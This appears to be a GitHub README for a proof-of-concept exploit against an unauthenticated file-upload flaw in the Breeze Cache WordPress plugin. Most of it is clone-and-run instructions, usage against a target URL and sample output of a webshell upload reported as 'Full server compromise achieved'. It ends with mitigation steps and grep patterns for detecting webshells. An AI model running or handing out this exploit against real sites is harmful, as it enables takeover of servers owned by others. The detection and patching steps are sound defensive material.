git clone https://github.com/tausifzaman/CVE-2026-3844.git && cd CVE-2026-3844 && python3

class-breeze-cache-cronjobs.php
  └── fetch_gravatar_from_remote()   ← ❌ No file type validation
        └── Saves remote content directly to disk
              └── Attacker controls → uploads .php webshell → RCE

Attacker (Unauthenticated)
    │
    ▼
Craft malicious HTTP request with PHP webshell URL as Gravatar
    │
    ▼
Plugin fetches & saves the .php file without validation
    │
    ▼
Webshell stored on server (e.g., /wp-content/breeze-cache/evil.php)
    │
    ▼
Attacker accesses webshell → Full RCE achieved

# Clone the repository
git clone https://github.com/tausifzaman/CVE-2026-3844.git && cd CVE-2026-3844 && python3 CVE-2026-3844.py

# Navigate into the directory
cd CVE-2026-3844

# Install dependencies
pip install -r requirements.txt

# Run the exploit
python3 CVE-2026-3844.py

git clone https://github.com/tausifzaman/CVE-2026-3844.git
cd CVE-2026-3844
pip install -r requirements.txt
python CVE-2026-3844.py

git clone https://github.com/tausifzaman/CVE-2026-3844.git
cd CVE-2026-3844
pip3 install -r requirements.txt
python3 CVE-2026-3844.py

pkg install python git -y && git clone https://github.com/tausifzaman/CVE-2026-3844.git && cd CVE-2026-3844 && pip install -r requirements.txt && python3 CVE-2026-3844.py

git clone https://github.com/tausifzaman/CVE-2026-3844.git && cd CVE-2026-3844 && pip install -r requirements.txt && python3 CVE-2026-3844.py

python3 CVE-2026-3844.py

usage: CVE-2026-3844.py [-h] -u URL [-t TIMEOUT] [-o OUTPUT] [-v]

CVE-2026-3844 — Breeze Cache WordPress Plugin Arbitrary File Upload PoC

optional arguments:
  -h, --help              Show this help message and exit
  -u URL, --url URL       Target URL (e.g. https://target.com)
  -t TIMEOUT              Request timeout in seconds (default: 10)
  -o OUTPUT               Save webshell path to output file
  -v, --verbose           Enable verbose/debug output

# Basic usage
python3 CVE-2026-3844.py -u https://vulnerable-site.com

# Verbose mode
python3 CVE-2026-3844.py -u https://vulnerable-site.com -v

# Custom timeout
python3 CVE-2026-3844.py -u https://vulnerable-site.com -t 20 -v

╔══════════════════════════════════════════════════════╗
║          CVE-2026-3844 | Breeze Cache WP RCE        ║
║          Researcher: tausifzaman.online              ║
╚══════════════════════════════════════════════════════╝

[*] Target     : https://vulnerable-site.com
[*] CVE        : CVE-2026-3844
[*] Plugin     : Breeze Cache ≤ 2.4.4
[*] Type       : Unauthenticated Arbitrary File Upload → RCE
[*] Checking target...

[+] Breeze Cache plugin detected!
[+] "Host Files Locally – Gravatars" is ENABLED
[*] Uploading PHP webshell via fetch_gravatar_from_remote...
[+] File uploaded successfully!
[+] Webshell path: /wp-content/breeze-cache/avatar_a1b2c3.php
[*] Verifying RCE...
[+] RCE CONFIRMED!

[+] Command output (id):
    uid=33(www-data) gid=33(www-data) groups=33(www-data)

[+] Full server compromise achieved.
[*] Cleanup: Remove /wp-content/breeze-cache/avatar_a1b2c3.php after testing.

# WordPress CLI — update Breeze plugin immediately
wp plugin update breeze

# Add to /wp-content/uploads/.htaccess and /wp-content/cache/.htaccess
<FilesMatch "\.php$">
    deny from all
</FilesMatch>

# Find recently modified PHP files in wp-content (possible webshells)
find /var/www/html/wp-content -name "*.php" -newer /var/www/html/wp-config.php -ls

# Search for common webshell indicators
grep -r "eval(base64_decode" /var/www/html/wp-content/
grep -r "system\|exec\|passthru\|shell_exec" /var/www/html/wp-content/cache/

# Monitor Apache/Nginx access logs for webshell hits
grep "breeze-cache.*\.php" /var/log/apache2/access.log
grep "breeze-cache.*\.php" /var/log/nginx/access.log

# Check for unexpected PHP files in Breeze cache directory
find /var/www/html/wp-content/breeze-cache/ -name "*.php"

# Check for recently created files (last 7 days)
find /var/www/html/wp-content/ -name "*.php" -mtime -7

# Look for admin accounts created recently (run in wp-mysql)
SELECT user_login, user_registered FROM wp_users ORDER BY user_registered DESC LIMIT 10;